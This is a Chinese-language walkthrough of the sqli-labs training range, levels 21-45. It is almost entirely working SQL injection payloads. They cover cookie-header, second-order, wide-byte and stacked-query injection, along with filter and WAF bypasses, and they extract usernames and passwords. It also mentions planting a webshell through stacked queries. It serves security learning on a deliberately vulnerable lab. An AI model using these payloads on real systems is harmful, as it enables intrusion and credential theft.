sqli-labs靶场通关技巧(21-45)

Less21

基于’)的cookie报头注入

这里在cookie处加密了字符串,将我们的payload经过base64加密即可绕过

暴库payload:-admin') union select 1,2,database()#

爆表payload:-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆字段payload:-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

爆值payload:-admin') union select 1,2,group_concat(username,'-',password) from security.users#

 

 

Less22

基于”的cookie报头注入

暴库payload:-admin" union select 1,2,database()#

爆表payload:-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆字段payload:-admin" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

爆值payload:-admin" union select 1,2,group_concat(username,'-',password) from security.users#

 

 

Less23

基于’的字符型注入(过滤注释符)

暴库payload:id=-1' union select 1,2,database()'

爆表payload:id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

爆字段payload:id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' '

爆值payload:id=' union select 1,2,group_concat(username,'~',password) from users  where 1 or '1' = '

 

 

Less24

二次注入

假设我们在知道账号为admin,但不知道密码的情况下,点击注册一个新用户

注册一个账号为admin’#密码为123456的账号

登录账号admin’#,并修改admin的密码为123456

然后就可以用账号admin,密码123456登录了。

原理:

登录admin'#账号修改密码时, 此时的Sql语句为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=',也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'。

 

 

Less25

基于’的字符型注入(过滤or和and)

注意:因为or字符被过滤了,所以infoorrmation、passwoorrd的or应该双写绕过。

暴库payload:id=-1' union select 1,2,database()--+

爆表payload:id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

爆字段payload:id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

爆值payload:id=-1' union select 1,2,group_concat(username,'~',passwoorrd) from security.users  --+

 

 

Less25a

整数型注入(过滤or和and)

这关和上一关基本一样,不同之处在于这关是整数型注入

暴库payload:id=-1 union select 1,2,database()--+

爆表payload:id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

爆字段payload:id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

爆值payload:id=-1 union select 1,2,group_concat(username,'~',passwoorrd) from security.users  --+

 

 

Less26

基于’的字符型注入(过滤空格、注释、or和and)

因为空格被过滤了,可以用%a0代替空格;注释符被过滤了,可以构造闭合绕过。

暴库payload:id=0'%a0union%a0select%a01,database(),'3

爆表payload:id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0'

爆字段payload:id=0'%a0union%a0select%a01,2,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0'

爆值payload:id=0'%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0'1' = '

 

 

Less26a

基于’)的字符型注入(过滤空格、注释、or和and)

因为空格被过滤了,可以用%a0或者%0b代替空格;注释符被过滤了,可以构造闭合绕过。

暴库payload:id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

爆表payload:id=0')%0bunion%0bselect%0b1,2,group_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'anandd('1')=('1

爆字段payload:id=0')%0bunion%0bselect%0b1,2,group_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'anandd('1')=('1

爆值payload:id=0')%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0('1') =( '

可以代替空格的字符:

%09TAB键(水平)
%0a新建一行
%0c新的一页
%0dreturn功能
%0bTAB键(垂直)
%a0空格

 

Less27

基于’的字符型注入(过滤空格、注释符、union和select)

大小写绕过关键字的过滤

暴库payload:id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

爆表payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

爆字段payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0'1'='1

爆值payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,'3

 

 

Less27a

基于”的字符型注入(过滤空格、注释符、union和select)

大小写绕过关键字的过滤

暴库payload:id=0"%a0uniOn%a0sElEct%a01,database(),3%a0or%a0"1"="1

爆表payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"="1

爆字段payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0"1"="1

爆值payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,"3

 

 

Less28

基于’)的字符型注入(过滤空格、注释符、union和select)

暴库payload:id=0')UNion%a0SElect%a01,database(),('1')=('1

爆表payload:id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1

爆字段payload:id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1

爆值payload:id=0')UNion%a0SElect%a01,(group_concat(username,password)),3%a0from%a0security.users%a0where%a0('1')=('1

 

 

Less28a

和less28一样,用相同的payload即可注入

 

搭建waf环境

因为less29-less32是绕waf,所以这里得先搭建好waf环境,我这里直接在Windows下面搭建了。

下载jspstudy: https://www.xp.cn/download.html

安装路径不要包含中文就行了。

为了不与之前安装好的phpstudy端口冲突,这里须更改站点端口为8080.

 

将sqli-labs-master中的tomcat-files压缩包解压到下面路径中。

打开下面路径中的index.jsp文件

将下面路径修改为php服务下的相对应关卡路径。

带上2个参数即可访问即可

 

服务器两层架构相关讲解:https://www.cnblogs.com/lcamry/p/5762961.html

 

Less29

基于’的字符型注入(waf保护)

这里的参数由于受waf保护,无法注入

利用参数污染注入,传入2个参数,第一个用来欺骗waf,第二个用于正常访问。

暴库payload:?id=1&id=-1' union select 1,2,database()--+

爆表payload:?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段payload:?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆值payload:?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+

 

Less30

基于”的字符型注入(waf保护)

暴库payload:?id=1&id=-1" union select 1,2,database()--+

爆表payload:?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段payload:?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆值payload:?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+

 

 

Less31

基于”)的字符型注入(waf保护)

暴库payload:?id=1&id=-1") union select 1,2,database()--+

爆表payload:?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段payload:?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆值payload:?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+

 

 

Less32

宽字节注入

因为单引号被转义了,'security'、'users'这两个地方的单引号自然也会被转义,这里可以将security、users进行十六进制编码。

暴库payload:id=-1%df' union select 1,2,database()--+

爆表payload:id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

爆字段payload:id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

爆值payload:id=-1%df' union select 1,2,group_concat(username,password) from security.users--+

 

Less33

和less32一样,用相同的payload即可注入

 

Less34

宽字节Post注入

利用burpsuite抓包、在uname处插入payload

暴库payload:a%df' union select 1,database()#

爆表payload:a%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#

爆字段payload:a%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

爆值payload:a%df' union select 1,group_concat(username,password) from security.users#

 

 

Less35

数字型注入

这里的单引号还是被转义了,'security'、'users'这两个地方还是要进行十六进制编码。

暴库payload:id=-1 union select 1,2,database()--+

爆表payload:id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

爆字段payload:id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

爆值payload:id=-1 union select 1,2,group_concat(username,password) from security.users--+

 

Less36

还是宽字节注入,用less32的payload即可注入

 

Less37

宽字节Post注入,注入方法以及payload和less32一样

 

Less38

堆叠注入

利用堆叠注入创建一个表

Payload:?id=1';create table duidie like users;--+

创建成功,说明能利用堆叠注入。此外可以利用堆叠注入写入一句话木马,然后用菜刀连接。

堆叠注入讲解:https://www.cnblogs.com/lcamry/p/5762905.html

 

Less39

数字型堆叠注入,和less38的区别就是少个单引号。

Payload:?id=1;create table duidie1 like users;--+

 

Less40

基于’)的字符型堆叠注入,和less38的区别就是少个单引号。

Payload:?id=1'); create table duidie2 like users;--+

 

Less41

和less39一样,只是少了错误回显信息,执行payload还是一样的。

 

Less42

还是堆叠注入,在密码输入框中注入。

Payload:a';create table duidie like users;# 

 

Less43

基于’)的字符型堆叠注入,和less42的区别就是多了个括号。

Payload:a'); create table duidie like users;# 

 

Less44

和less42一样,只是少了回显信息,执行payload还是一样的。

 

Less45

和less43一样,只是少了回显信息,执行payload还是一样的。

 

小结

Less21-22            cookie报头注入

Less24                  二次注入

Less23、25-28a  关键字符被过滤,结合大小写绕过、双写绕过、字符替换、构造闭合、编码等方式注入。

Less29-31            waf保护,参数污染注入

Less32-37            宽字节注入

Less38-45            堆叠注入

 

参考链接

https://blog.csdn.net/weixin_45728976/article/details/103932264

https://blog.csdn.net/harrywade/article/details/81842491

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值